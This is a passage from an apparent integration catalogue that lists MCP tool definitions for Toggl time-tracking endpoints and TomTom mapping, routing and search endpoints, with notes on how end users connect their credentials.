/organizations/invitations/{invitation_code}/accept POST /api/v1/toggl/organizations/invitations/{invitation_code}/accept. Scopes: api. toggl_post_organizations_invitations_by_invitation_code_reject (write) — Post reject invitation via POST /organizations/invitations/{invitation_code}/reject POST /api/v1/toggl/organizations/invitations/{invitation_code}/reject. Scopes: api. toggl_post_ping_by_workspace_id_by_subscription_id (write) — Post ping via POST /ping/{workspace_id}/{subscription_id} POST /api/v1/toggl/ping/{workspace_id}/{subscription_id}. Scopes: api. toggl_post_reports_api_v3_shared_by_report_token (write) — Toggl post reports api v3 shared by report token via POST /reports/api/v3/shared/{report_token} POST /api/v1/toggl/reports/api/v3/shared/{report_token}. Scopes: api. toggl_post_reports_api_v3_shared_by_report_token_csv (write) — Toggl post reports api v3 shared by report token csv via POST /reports/api/v3/shared/{report_token}/csv POST /api/v1/toggl/reports/api/v3/shared/{report_token}/csv. Scopes: api. toggl_post_reports_api_v3_workspace_by_workspace_id_by_action_tasks (write) — Toggl post reports api v3 workspace by workspace id by action tasks via POST /reports/api/v3/workspace/{workspace_id}/{action}/tasks POST /api/v1/toggl/reports/api/v3/workspace/{workspace_id}/{action}/tasks. Scopes: api. toggl_post_reports_api_v3_workspace_by_workspace_id_comparative (write) — Toggl post reports api v3 workspace by workspace id comparative via POST /reports/api/v3/workspace/{workspace_id}/comparative POST /api/v1/toggl/reports/api/v3/workspace/{workspace_id}/comparative. Scopes: api. toggl_post_reports_api_v3_workspace_by_workspace_id_data_trends_clients (write) — Toggl post reports api v3 workspace by workspace id data trends clients via POST /reports/api/v3/workspace/{workspace_id}/data_trends/clients POST /api/v1/toggl/reports/api/v3/workspace/{workspace_id}/data_trends/clients. Scopes: api. toggl_post_reports_api_v3_workspace_by_workspace_id_data_trends_projects (write) — Toggl post reports api v3 workspace by workspace id data trends projects via POST /reports/api/v3/workspace/{workspace_id}/data_trends/projects POST /api/v1/toggl/reports/api/v3/workspace/{workspace_id}/data_trends/projects. Scopes: api. toggl_post_reports_api_v3_workspace_by_workspace_id_data_trends_users (write) — Toggl post reports api v3 workspace by workspace id data trends users via POST /reports/api/v3/workspace/{workspace_id}/data_trends/users POST /api/v1/toggl/reports/api/v3/workspace/{workspace_id}/data_trends/users. Scopes: api. toggl_post_reports_api_v3_workspace_by_workspace_id_filters_clients (write) — Toggl post reports api v3 workspace by workspace id filters clients via POST /reports/api/v3/workspace/{workspace_id}/filters/clients POST /api/v1/toggl/reports/api/v3/workspace/{workspace_id}/filters/clients. Scopes: api. toggl_post_reports_api_v3_workspace_by_workspace_id_filters_project_groups (write) — Toggl post reports api v3 workspace by workspace id filters project groups via POST /reports/api/v3/workspace/{workspace_id}/filters/project_groups POST /api/v1/toggl/reports/api/v3/workspace/{workspace_id}/filters/project_groups. Scopes: api. toggl_post_reports_api_v3_workspace_by_workspace_id_filters_project_users (write) — Toggl post reports api v3 workspace by workspace id filters project users via POST /reports/api/v3/workspace/{workspace_id}/filters/project_users POST /api/v1/toggl/reports/api/v3/workspace/{workspace_id}/filters/project_users. Scopes: api. toggl_post_reports_api_v3_workspace_by_workspace_id_filters_projects (write) — Toggl post reports api v3 workspace by workspace id filters projects via POST /reports/api/v3/workspace/{workspace_id}/filters/projects POST /api/v1/toggl/reports/api/v3/workspace/{workspace_id}/filters/projects. Scopes: api. toggl_post_reports_api_v3_workspace_by_workspace_id_filters_projects_status (write) — Toggl post reports api v3 workspace by workspace id filters projects status via POST /reports/api/v3/workspace/{workspace_id}/filters/projects/status POST /api/v1/toggl/reports/api/v3/workspace/{workspace_id}/filters/projects/status. Scopes: api. toggl_post_reports_api_v3_workspace_by_workspace_id_filters_tasks_status (write) — Toggl post reports api v3 workspace by workspace id filters tasks status via POST /reports/api/v3/workspace/{workspace_id}/filters/tasks/status POST /api/v1/toggl/reports/api/v3/workspace/{workspace_id}/filters/tasks/status. Scopes: api. toggl_post_reports_api_v3_workspace_by_workspace_id_filters_users (write) — Toggl post reports api v3 workspace by workspace id filters users via POST /reports/api/v3/workspace/{workspace_id}/filters/users POST /api/v1/toggl/reports/api/v3/workspace/{workspace_id}/filters/users. Scopes: api. toggl_post_reports_api_v3_workspace_by_workspace_id_profitability_projects (write) — Toggl post reports api v3 workspace by workspace id profitability projects via POST /reports/api/v3/workspace/{workspace_id}/profitability/projects POST /api/v1/toggl/reports/api/v3/workspace/{workspace_id}/profitability/projects. Scopes: api. toggl_post_reports_api_v3_workspace_by_workspace_id_projects_by_project_id_summary (write) — Toggl post reports api v3 workspace by workspace id projects by project id summary via POST /reports/api/v3/workspace/{workspace_id}/projects/{project_id}/summary POST /api/v1/toggl/reports/api/v3/workspace/{workspace_id}/projects/{project_id}/summary. Scopes: api. toggl_post_reports_api_v3_workspace_by_workspace_id_projects_summary (write) — Toggl post reports api v3 workspace by workspace id projects summary via POST /reports/api/v3/workspace/{workspace_id}/projects/summary POST /api/v1/toggl/reports/api/v3/workspace/{workspace_id}/projects/summary. Scopes: api. toggl_post_reports_api_v3_workspace_by_workspace_id_search_clients (write) — Toggl post reports api v3 workspace by workspace id search clients via POST /reports/api/v3/workspace/{workspace_id}/search/clients POST /api/v1/toggl/reports/api/v3/workspace/{workspace_id}/search/clients. Scopes: api. toggl_post_reports_api_v3_workspace_by_workspace_id_search_projects (write) — Toggl post reports api v3 workspace by workspace id search projects via POST /reports/api/v3/workspace/{workspace_id}/search/projects POST /api/v1/toggl/reports/api/v3/workspace/{workspace_id}/search/projects. Scopes: api. toggl_post_reports_api_v3_workspace_by_workspace_id_search_time_entries (write) — Toggl post reports api v3 workspace by workspace id search time entries via POST /reports/api/v3/workspace/{workspace_id}/search/time_entries POST /api/v1/toggl/reports/api/v3/workspace/{workspace_id}/search/time_entries. Scopes: api. toggl_post_reports_api_v3_workspace_by_workspace_id_search_time_entries_by_extension (write) — Toggl post reports api v3 workspace by workspace id search time entries by extension via POST /reports/api/v3/workspace/{workspace_id}/search/time_entries.{extension} POST /api/v1/toggl/reports/api/v3/workspace/{workspace_id}/search/time_entries.{extension}. Scopes: api. toggl_post_reports_api_v3_workspace_by_workspace_id_search_time_entries_totals (write) — Toggl post reports api v3 workspace by workspace id search time entries totals via POST /reports/api/v3/workspace/{workspace_id}/search/time_entries/totals POST /api/v1/toggl/reports/api/v3/workspace/{workspace_id}/search/time_entries/totals. Scopes: api. toggl_post_reports_api_v3_workspace_by_workspace_id_search_users (write) — Toggl post reports api v3 workspace by workspace id search users via POST /reports/api/v3/workspace/{workspace_id}/search/users POST /api/v1/toggl/reports/api/v3/workspace/{workspace_id}/search/users. Scopes: api. toggl_post_reports_api_v3_workspace_by_workspace_id_summary_time_entries (write) — Toggl post reports api v3 workspace by workspace id summary time entries via POST /reports/api/v3/workspace/{workspace_id}/summary/time_entries POST /api/v1/toggl/reports/api/v3/workspace/{workspace_id}/summary/time_entries. Scopes: api. toggl_post_reports_api_v3_workspace_by_workspace_id_summary_time_entries_by_extension (write) — Toggl post reports api v3 workspace by workspace id summary time entries by extension via POST /reports/api/v3/workspace/{workspace_id}/summary/time_entries.{extension} POST /api/v1/toggl/reports/api/v3/workspace/{workspace_id}/summary/time_entries.{extension}. Scopes: api. toggl_post_reports_api_v3_workspace_by_workspace_id_weekly_time_entries (write) — Toggl post reports api v3 workspace by workspace id weekly time entries via POST /reports/api/v3/workspace/{workspace_id}/weekly/time_entries POST /api/v1/toggl/reports/api/v3/workspace/{workspace_id}/weekly/time_entries. Scopes: api. toggl_post_reports_api_v3_workspace_by_workspace_id_weekly_time_entries_csv (write) — Toggl post reports api v3 workspace by workspace id weekly time entries csv via POST /reports/api/v3/workspace/{workspace_id}/weekly/time_entries.csv POST /api/v1/toggl/reports/api/v3/workspace/{workspace_id}/weekly/time_entries.csv. Scopes: api. toggl_post_smail_contact (write) — Post smail contact via POST /smail/contact POST /api/v1/toggl/smail/contact. Scopes: api. toggl_post_smail_demo (write) — Post smail demo via POST /smail/demo POST /api/v1/toggl/smail/demo. Scopes: api. toggl_post_smail_meet (write) — Post smail meet via POST /smail/meet POST /api/v1/toggl/smail/meet. Scopes: api. toggl_post_subscriptions_by_workspace_id (write) — Post subscription via POST /subscriptions/{workspace_id} POST /api/v1/toggl/subscriptions/{workspace_id}. Scopes: api. toggl_post_timeline (write) — Toggl post timeline via POST /timeline POST /api/v1/toggl/timeline. Scopes: api. toggl_post_workspaces_by_workspace_id_alerts (write) — Post alerts via POST /workspaces/{workspace_id}/alerts POST /api/v1/toggl/workspaces/{workspace_id}/alerts. Scopes: api. toggl_post_workspaces_by_workspace_id_clients (write) — Post workspace clients via POST /workspaces/{workspace_id}/clients POST /api/v1/toggl/workspaces/{workspace_id}/clients. Scopes: api. toggl_post_workspaces_by_workspace_id_clients_archive (write) — Archive clients via POST /workspaces/{workspace_id}/clients/archive POST /api/v1/toggl/workspaces/{workspace_id}/clients/archive. Scopes: api. toggl_post_workspaces_by_workspace_id_clients_by_client_id_archive (write) — Archive client via POST /workspaces/{workspace_id}/clients/{client_id}/archive POST /api/v1/toggl/workspaces/{workspace_id}/clients/{client_id}/archive. Scopes: api. toggl_post_workspaces_by_workspace_id_clients_by_client_id_restore (write) — Restore client via POST /workspaces/{workspace_id}/clients/{client_id}/restore POST /api/v1/toggl/workspaces/{workspace_id}/clients/{client_id}/restore. Scopes: api. toggl_post_workspaces_by_workspace_id_clients_data (write) — Get workspace clients data via POST /workspaces/{workspace_id}/clients/data POST /api/v1/toggl/workspaces/{workspace_id}/clients/data. Scopes: api. toggl_post_workspaces_by_workspace_id_clients_delete (write) — Delete workspace clients via POST /workspaces/{workspace_id}/clients/delete POST /api/v1/toggl/workspaces/{workspace_id}/clients/delete. Scopes: api. toggl_post_workspaces_by_workspace_id_exports (write) — Post workspace exports via POST /workspaces/{workspace_id}/exports POST /api/v1/toggl/workspaces/{workspace_id}/exports. Scopes: api. toggl_post_workspaces_by_workspace_id_favorites (write) — Create workspace favorite via POST /workspaces/{workspace_id}/favorites POST /api/v1/toggl/workspaces/{workspace_id}/favorites. Scopes: api. toggl_post_workspaces_by_workspace_id_favorites_suggestions (write) — Post workspace favorites suggestions via POST /workspaces/{workspace_id}/favorites/suggestions POST /api/v1/toggl/workspaces/{workspace_id}/favorites/suggestions. Scopes: api. toggl_post_workspaces_by_workspace_id_goals (write) — Toggl post workspaces by workspace id goals via POST /workspaces/{workspace_id}/goals POST /api/v1/toggl/workspaces/{workspace_id}/goals. Scopes: api. toggl_post_workspaces_by_workspace_id_groups (write) — Post workspace group via POST /workspaces/{workspace_id}/groups POST /api/v1/toggl/workspaces/{workspace_id}/groups. Scopes: api. toggl_post_workspaces_by_workspace_id_ical_reset (write) — Post workspace ical reset via POST /workspaces/{workspace_id}/ical/reset POST /api/v1/toggl/workspaces/{workspace_id}/ical/reset. Scopes: api. toggl_post_workspaces_by_workspace_id_ical_toggle (write) — Post workspace ical toggle via POST /workspaces/{workspace_id}/ical/toggle POST /api/v1/toggl/workspaces/{workspace_id}/ical/toggle. Scopes: api. toggl_post_workspaces_by_workspace_id_import_preview_counts (write) — Post import preview counts via POST /workspaces/{workspace_id}/import-preview-counts POST /api/v1/toggl/workspaces/{workspace_id}/import-preview-counts. Scopes: api. toggl_post_workspaces_by_workspace_id_invoices (write) — Post workspace user invoice via POST /workspaces/{workspace_id}/invoices POST /api/v1/toggl/workspaces/{workspace_id}/invoices. Scopes: api. toggl_post_workspaces_by_workspace_id_logo (write) — Post workspace logo via POST /workspaces/{workspace_id}/logo POST /api/v1/toggl/workspaces/{workspace_id}/logo. Scopes: api. toggl_post_workspaces_by_workspace_id_preferences (write) — Post workspace preferences via POST /workspaces/{workspace_id}/preferences POST /api/v1/toggl/workspaces/{workspace_id}/preferences. Scopes: api. toggl_post_workspaces_by_workspace_id_project_groups (write) — Post project group via POST /workspaces/{workspace_id}/project_groups POST /api/v1/toggl/workspaces/{workspace_id}/project_groups. Scopes: api. toggl_post_workspaces_by_workspace_id_project_users (write) — Post workspace project users via POST /workspaces/{workspace_id}/project_users POST /api/v1/toggl/workspaces/{workspace_id}/project_users. Scopes: api. toggl_post_workspaces_by_workspace_id_project_users_paginated (write) — Post workspace project users paginated via POST /workspaces/{workspace_id}/project_users/paginated POST /api/v1/toggl/workspaces/{workspace_id}/project_users/paginated. Scopes: api. toggl_post_workspaces_by_workspace_id_projects (write) — Post workspace project create via POST /workspaces/{workspace_id}/projects POST /api/v1/toggl/workspaces/{workspace_id}/projects. Scopes: api. toggl_post_workspaces_by_workspace_id_projects_billable_amounts (write) — Toggl post workspaces by workspace id projects billable amounts via POST /workspaces/{workspace_id}/projects/billable-amounts POST /api/v1/toggl/workspaces/{workspace_id}/projects/billable-amounts. Scopes: api. toggl_post_workspaces_by_workspace_id_projects_by_project_id_pin (write) — Post pinned project via POST /workspaces/{workspace_id}/projects/{project_id}/pin POST /api/v1/toggl/workspaces/{workspace_id}/projects/{project_id}/pin. Scopes: api. toggl_post_workspaces_by_workspace_id_projects_by_project_id_tasks (write) — Post workspace project tasks via POST /workspaces/{workspace_id}/projects/{project_id}/tasks POST /api/v1/toggl/workspaces/{workspace_id}/projects/{project_id}/tasks. Scopes: api. toggl_post_workspaces_by_workspace_id_projects_task_count (write) — Project task count via POST /workspaces/{workspace_id}/projects/task_count POST /api/v1/toggl/workspaces/{workspace_id}/projects/task_count. Scopes: api. toggl_post_workspaces_by_workspace_id_projects_user_count (write) — Project user count via POST /workspaces/{workspace_id}/projects/user_count POST /api/v1/toggl/workspaces/{workspace_id}/projects/user_count. Scopes: api. toggl_post_workspaces_by_workspace_id_rates (write) — Create rate via POST /workspaces/{workspace_id}/rates POST /api/v1/toggl/workspaces/{workspace_id}/rates. Scopes: api. toggl_post_workspaces_by_workspace_id_reports_shared (write) — Post shared report via POST /workspaces/{workspace_id}/reports/shared POST /api/v1/toggl/workspaces/{workspace_id}/reports/shared. Scopes: api. toggl_post_workspaces_by_workspace_id_scheduled_reports (write) — Post workspace scheduled reports via POST /workspaces/{workspace_id}/scheduled_reports POST /api/v1/toggl/workspaces/{workspace_id}/scheduled_reports. Scopes: api. toggl_post_workspaces_by_workspace_id_tags (write) — Post workspace tag via POST /workspaces/{workspace_id}/tags POST /api/v1/toggl/workspaces/{workspace_id}/tags. Scopes: api. toggl_post_workspaces_by_workspace_id_tasks_data (write) — Get workspace tasks data via POST /workspaces/{workspace_id}/tasks/data POST /api/v1/toggl/workspaces/{workspace_id}/tasks/data. Scopes: api. toggl_post_workspaces_by_workspace_id_time_entries (write) — Post workspace time entries via POST /workspaces/{workspace_id}/time_entries POST /api/v1/toggl/workspaces/{workspace_id}/time_entries. Scopes: api. toggl_post_workspaces_by_workspace_id_time_entry_constraints (write) — Post workspace time entry constraints via POST /workspaces/{workspace_id}/time_entry_constraints POST /api/v1/toggl/workspaces/{workspace_id}/time_entry_constraints. Scopes: api. toggl_post_workspaces_by_workspace_id_time_entry_invitations_by_time_entry_invitation_id_by_action (write) — Post workspace time entry invitation action via POST /workspaces/{workspace_id}/time_entry_invitations/{time_entry_invitation_id}/{action} POST /api/v1/toggl/workspaces/{workspace_id}/time_entry_invitations/{time_entry_invitation_id}/{action}. Scopes: api. toggl_post_workspaces_by_workspace_id_timesheet_setups (write) — Post timesheet setups via POST /workspaces/{workspace_id}/timesheet_setups POST /api/v1/toggl/workspaces/{workspace_id}/timesheet_setups. Scopes: api. toggl_post_workspaces_by_workspace_id_timesheet_setups_by_setup_id (write) — Put timesheet setups via POST /workspaces/{workspace_id}/timesheet_setups/{setup_id} POST /api/v1/toggl/workspaces/{workspace_id}/timesheet_setups/{setup_id}. Scopes: api. toggl_post_workspaces_by_workspace_id_timesheets_hours (write) — Get workspace timesheet hours handler via POST /workspaces/{workspace_id}/timesheets/hours POST /api/v1/toggl/workspaces/{workspace_id}/timesheets/hours. Scopes: api. toggl_post_workspaces_by_workspace_id_track_reminders (write) — Post workspace track reminders via POST /workspaces/{workspace_id}/track_reminders POST /api/v1/toggl/workspaces/{workspace_id}/track_reminders. Scopes: api. toggl_post_workspaces_by_workspace_id_users_data (write) — Post workspace users data via POST /workspaces/{workspace_id}/users/data POST /api/v1/toggl/workspaces/{workspace_id}/users/data. Scopes: api. toggl_put_integrations_calendar_by_integration_id (write) — Toggl put integrations calendar by integration id via PUT /integrations/calendar/{integration_id} PUT /api/v1/toggl/integrations/calendar/{integration_id}. Scopes: api. toggl_put_me (write) — Put me via PUT /me PUT /api/v1/toggl/me. Scopes: api. toggl_put_me_favorites (write) — Update favorite via PUT /me/favorites PUT /api/v1/toggl/me/favorites. Scopes: api. toggl_put_organizations_by_organization_id (write) — Put organization via PUT /organizations/{organization_id} PUT /api/v1/toggl/organizations/{organization_id}. Scopes: api. toggl_put_organizations_by_organization_id_groups_by_group_id (write) — Put organization group via PUT /organizations/{organization_id}/groups/{group_id} PUT /api/v1/toggl/organizations/{organization_id}/groups/{group_id}. Scopes: api. toggl_put_organizations_by_organization_id_invitations_by_invitation_id_resend (write) — Put invitation via PUT /organizations/{organization_id}/invitations/{invitation_id}/resend PUT /api/v1/toggl/organizations/{organization_id}/invitations/{invitation_id}/resend. Scopes: api. toggl_put_organizations_by_organization_id_segmentation (write) — Put organization segmentation via PUT /organizations/{organization_id}/segmentation PUT /api/v1/toggl/organizations/{organization_id}/segmentation. Scopes: api. toggl_put_organizations_by_organization_id_subscription (write) — Put organization subscription via PUT /organizations/{organization_id}/subscription PUT /api/v1/toggl/organizations/{organization_id}/subscription. Scopes: api. toggl_put_organizations_by_organization_id_subscription_customer (write) — Put unified customer via PUT /organizations/{organization_id}/subscription/customer PUT /api/v1/toggl/organizations/{organization_id}/subscription/customer. Scopes: api. toggl_put_organizations_by_organization_id_users_by_organization_user_id (write) — Put organization users via PUT /organizations/{organization_id}/users/{organization_user_id} PUT /api/v1/toggl/organizations/{organization_id}/users/{organization_user_id}. Scopes: api. toggl_put_subscriptions_by_workspace_id_by_subscription_id (write) — Update subscription via PUT /subscriptions/{workspace_id}/{subscription_id} PUT /api/v1/toggl/subscriptions/{workspace_id}/{subscription_id}. Scopes: api. toggl_put_workspaces_by_workspace_id (write) — Put workspaces via PUT /workspaces/{workspace_id} PUT /api/v1/toggl/workspaces/{workspace_id}. Scopes: api. toggl_put_workspaces_by_workspace_id_alerts_by_alert_id (write) — Put alerts via PUT /workspaces/{workspace_id}/alerts/{alert_id} PUT /api/v1/toggl/workspaces/{workspace_id}/alerts/{alert_id}. Scopes: api. toggl_put_workspaces_by_workspace_id_clients_by_client_id (write) — Put workspace clients via PUT /workspaces/{workspace_id}/clients/{client_id} PUT /api/v1/toggl/workspaces/{workspace_id}/clients/{client_id}. Scopes: api. toggl_put_workspaces_by_workspace_id_favorites (write) — Update workspace favorite via PUT /workspaces/{workspace_id}/favorites PUT /api/v1/toggl/workspaces/{workspace_id}/favorites. Scopes: api. toggl_put_workspaces_by_workspace_id_goals_by_goal_id (write) — Toggl put workspaces by workspace id goals by goal id via PUT /workspaces/{workspace_id}/goals/{goal_id} PUT /api/v1/toggl/workspaces/{workspace_id}/goals/{goal_id}. Scopes: api. toggl_put_workspaces_by_workspace_id_groups_by_group_id (write) — Put workspace group via PUT /workspaces/{workspace_id}/groups/{group_id} PUT /api/v1/toggl/workspaces/{workspace_id}/groups/{group_id}. Scopes: api. toggl_put_workspaces_by_workspace_id_linked_sso_profiles_by_sso_profile_id (write) — Put workspace sso via PUT /workspaces/{workspace_id}/linked_sso_profiles/{sso_profile_id} PUT /api/v1/toggl/workspaces/{workspace_id}/linked_sso_profiles/{sso_profile_id}. Scopes: api. toggl_put_workspaces_by_workspace_id_project_users_by_project_user_id (write) — Put workspace project users via PUT /workspaces/{workspace_id}/project_users/{project_user_id} PUT /api/v1/toggl/workspaces/{workspace_id}/project_users/{project_user_id}. Scopes: api. toggl_put_workspaces_by_workspace_id_projects_by_project_id (write) — Put workspace project via PUT /workspaces/{workspace_id}/projects/{project_id} PUT /api/v1/toggl/workspaces/{workspace_id}/projects/{project_id}. Scopes: api. toggl_put_workspaces_by_workspace_id_projects_by_project_id_tasks_by_task_id (write) — Put workspace project task via PUT /workspaces/{workspace_id}/projects/{project_id}/tasks/{task_id} PUT /api/v1/toggl/workspaces/{workspace_id}/projects/{project_id}/tasks/{task_id}. Scopes: api. toggl_put_workspaces_by_workspace_id_reports_shared (write) — Put shared report via PUT /workspaces/{workspace_id}/reports/shared PUT /api/v1/toggl/workspaces/{workspace_id}/reports/shared. Scopes: api. toggl_put_workspaces_by_workspace_id_reports_shared_by_report_id (write) — Put saved report resource via PUT /workspaces/{workspace_id}/reports/shared/{report_id} PUT /api/v1/toggl/workspaces/{workspace_id}/reports/shared/{report_id}. Scopes: api. toggl_put_workspaces_by_workspace_id_tags_by_tag_id (write) — Put workspace tag via PUT /workspaces/{workspace_id}/tags/{tag_id} PUT /api/v1/toggl/workspaces/{workspace_id}/tags/{tag_id}. Scopes: api. toggl_put_workspaces_by_workspace_id_time_entries_by_time_entry_id (write) — Put workspace time entry handler via PUT /workspaces/{workspace_id}/time_entries/{time_entry_id} PUT /api/v1/toggl/workspaces/{workspace_id}/time_entries/{time_entry_id}. Scopes: api. toggl_put_workspaces_by_workspace_id_timesheets (write) — Put workspace timesheets batch handler via PUT /workspaces/{workspace_id}/timesheets PUT /api/v1/toggl/workspaces/{workspace_id}/timesheets. Scopes: api. toggl_put_workspaces_by_workspace_id_timesheets_by_setup_id_by_start_date (write) — Put workspace timesheets handler via PUT /workspaces/{workspace_id}/timesheets/{setup_id}/{start_date} PUT /api/v1/toggl/workspaces/{workspace_id}/timesheets/{setup_id}/{start_date}. Scopes: api. toggl_put_workspaces_by_workspace_id_track_reminders_by_reminder_id (write) — Put workspace track reminder via PUT /workspaces/{workspace_id}/track_reminders/{reminder_id} PUT /api/v1/toggl/workspaces/{workspace_id}/track_reminders/{reminder_id}. Scopes: api. toggl_put_workspaces_by_workspace_id_users_by_user_id (write) — Put workspace users via PUT /workspaces/{workspace_id}/users/{user_id} PUT /api/v1/toggl/workspaces/{workspace_id}/users/{user_id}. Scopes: api. toggl_put_workspaces_by_workspace_id_workspace_users_by_workspace_user_id (write) — Put workspace workspace users via PUT /workspaces/{workspace_id}/workspace_users/{workspace_user_id} PUT /api/v1/toggl/workspaces/{workspace_id}/workspace_users/{workspace_user_id}. Scopes: api. ================================================================================ ## TomTom URL: https://www.agenticfabriq.com/integrations/tomtom Section: Integrated Tools TomTom — 57 MCP tools Provider key: tomtom. Scopes: ev_search, geocoding, long_distance_ev_routing, map_display, places_search, reverse_geocoding, routing, search, snap_to_roads, traffic. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. tomtom_get_map_1_tile_by_layer_by_style_by_zoom_by_x_by_y_by_format (read) — The Map Display API Raster Service delivers raster satellite image tiles, which are representations of square sections of map data. via GET https://api.tomtom.com/map/1/tile/{layer}/{style}/{zoom}/{X}/{Y}.{format} GET /api/v1/tomtom/map/1/tile/sat/main/{zoom}/{X}/{Y}.jpg. Scopes: map_display. tomtom_get_map_1_tile_by_layer_by_style_by_zoom_by_x_by_y_pbf (read) — The Map Display API Vector service delivers vector tiles which are representations of square sections of map data. via GET https://api.tomtom.com/map/1/tile/{layer}/{style}/{zoom}/{X}/{Y}.pbf GET /api/v1/tomtom/map/1/tile/{layer}/{style}/{zoom}/{X}/{Y}.pbf. Scopes: map_display. tomtom_get_map_1_tile_by_layer_by_type_by_zoom_by_x_by_y_by_format (read) — The Map Display API Raster Service delivers raster hillshade image tiles, which are representations of square sections of map data. via GET https://api.tomtom.com/map/1/tile/{layer}/{type}/{zoom}/{X}/{Y}.{format} GET /api/v1/tomtom/map/1/tile/hill/main/{zoom}/{X}/{Y}.png. Scopes: map_display. tomtom_get_map_2_copyrights (read) — The Copyrights API returns copyright information for the Display API services. The response body will contain copyrights in a plain text format. via GET https://api.tomtom.com/map/2/copyrights GET /api/v1/tomtom/map/2/copyrights. Scopes: map_display. tomtom_get_map_2_copyrights_caption_json (read) — This API returns copyright captions for the map service. For the map service copyright request, the response body will contain a copyrights caption in JSON format. via GET https://api.tomtom.com/map/2/copyrights/caption.json GET /api/v1/tomtom/map/2/copyrights/caption.json. Scopes: map_display. tomtom_get_map_2_tile_by_layer_by_zoom_by_x_by_y_pbf (read) — The Map Display API Vector service delivers vector tiles which are representations of square sections of map data. via GET https://api.tomtom.com/map/2/tile/{layer}/{zoom}/{X}/{Y}.pbf GET /api/v1/tomtom/map/2/tile/{layer}/{zoom}/{X}/{Y}.pbf. Scopes: map_display. tomtom_get_map_by_versionnumber_by_resourcetype_by_resourceversion_by_resourcevariant_by_resourcename (read) — This retrieves a selected resource. via GET https://api.tomtom.com/map/{versionNumber}/{resourceType}/{resourceVersion}/{resourceVariant}/{resourceName} GET /api/v1/tomtom/map/{versionNumber}/{resourceType}/{resourceVersion}/{resourceVariant}/{resourceName}. Scopes: map_display. tomtom_get_map_by_versionnumber_by_resourcetype_by_resourceversion_by_resourcevariant_metadata_by_format (read) — This retrieves a list of resources of a selected type. via GET https://api.tomtom.com/map/{versionNumber}/{resourceType}/{resourceVersion}/{resourceVariant}/metadata.{format} GET /api/v1/tomtom/map/{versionNumber}/{resourceType}/{resourceVersion}/{resourceVariant}/metadata.{format}. Scopes: map_display. tomtom_get_map_by_versionnumber_staticimage (read) — The Static Image service renders a rectangular raster image in the style, size, and zoom level specified. The image can be requested using either a center point plus width and height or a bounding box. via GET https://api.tomtom.com/map/{versionNumber}/staticimage GET /api/v1/tomtom/map/{versionNumber}/staticimage. Scopes: map_display. tomtom_get_map_by_versionnumber_tile_by_layer_by_style_by_zoom_by_x_by_y_by_format (read) — The Map Display API Raster service delivers raster map tiles, which are representations of square sections of map data. via GET https://api.tomtom.com/map/{versionNumber}/tile/{layer}/{style}/{zoom}/{X}/{Y}.{format} GET /api/v1/tomtom/map/{versionNumber}/tile/{layer}/{style}/{zoom}/{X}/{Y}.{format}. Scopes: map_display. tomtom_get_map_by_versionnumber_wms (read) — The GetMap call implements the Web Map Service 1.1.1 standard to access TomTom Raster Map tiles. This service is described in the Response to the GetCapabilities API call. via GET https://api.tomtom.com/map/{versionNumber}/wms GET /api/v1/tomtom/map/{versionNumber}/wms. Scopes: map_display. tomtom_get_map_by_versionnumber_wmts_by_key_by_wmtsversion_wmtscapabilities_xml (read) — The WMTS GetCapabilities call implements version 1.0.0 of the Web Map Tile Service (WMTS) standard. It returns metadata that allows compatible calling systems to construct calls to TomTom's raster map tile service. See the documentation for more information on WMTS. via GET https://api.tomtom.com/map/{versionNumber}/wmts/{key}/{wmtsVersion}/WMTSCapabilities.xml GET /api/v1/tomtom/map/{versionNumber}/wmts/{wmtsVersion}/WMTSCapabilities.xml. Scopes: map_display. tomtom_get_places_details_by_type_by_id (read) — Delivers detailed information for a location. via GET https://api.tomtom.com/maps/orbis/places/details/{type}/{id} GET /api/v1/tomtom/places/details/{type}/{id}. Scopes: places_search. tomtom_get_routing_by_versionnumber_calculatereachablerange_by_origin_by_contenttype (read) — Calculates a set of locations that can be reached from the origin point. via GET https://api.tomtom.com/routing/{versionNumber}/calculateReachableRange/{origin}/{contentType} GET /api/v1/tomtom/routing/{versionNumber}/calculateReachableRange/{origin}/{contentType}. Scopes: routing. tomtom_get_routing_by_versionnumber_calculateroute_by_locations_by_contenttype (read) — Calculates a route between an origin and a destination. via GET https://api.tomtom.com/routing/{versionNumber}/calculateRoute/{locations}/{contentType} GET /api/v1/tomtom/routing/{versionNumber}/calculateRoute/{locations}/{contentType}. Scopes: routing. tomtom_get_search_by_versionnumber_additionaldata_by_ext (read) — Additional Data via GET https://api.tomtom.com/search/{versionNumber}/additionalData.{ext} GET /api/v1/tomtom/search/{versionNumber}/additionalData.{ext}. Scopes: search. tomtom_get_search_by_versionnumber_categorysearch_by_query_by_ext (read) — Category Search via GET https://api.tomtom.com/search/{versionNumber}/categorySearch/{query}.{ext} GET /api/v1/tomtom/search/{versionNumber}/categorySearch/{query}.{ext}. Scopes: search. tomtom_get_search_by_versionnumber_cs_by_category_by_ext (read) — Low Bandwidth Category Search via GET https://api.tomtom.com/search/{versionNumber}/cS/{category}.{ext} GET /api/v1/tomtom/search/{versionNumber}/cS/{category}.{ext}. Scopes: search. tomtom_get_search_by_versionnumber_evbyid (read) — EV Search by Id via GET https://api.tomtom.com/search/{versionNumber}/evbyid GET /api/v1/tomtom/search/{versionNumber}/evbyid. Scopes: ev_search. tomtom_get_search_by_versionnumber_evsearch (read) — EV Search Nearby via GET https://api.tomtom.com/search/{versionNumber}/evsearch GET /api/v1/tomtom/search/{versionNumber}/evsearch. Scopes: ev_search. tomtom_get_search_by_versionnumber_geocode_by_query_by_ext (read) — Geocode via GET https://api.tomtom.com/search/{versionNumber}/geocode/{query}.{ext} GET /api/v1/tomtom/search/{versionNumber}/geocode/{query}.{ext}. Scopes: geocoding. tomtom_get_search_by_versionnumber_geometryfilter_by_ext (read) — Geometry Filter via GET https://api.tomtom.com/search/{versionNumber}/geometryFilter.{ext} GET /api/v1/tomtom/search/{versionNumber}/geometryFilter.{ext}. Scopes: search. tomtom_get_search_by_versionnumber_geometrysearch_by_query_by_ext (read) — Geometry Search via GET https://api.tomtom.com/search/{versionNumber}/geometrySearch/{query}.{ext} GET /api/v1/tomtom/search/{versionNumber}/geometrySearch/{query}.{ext}. Scopes: search. 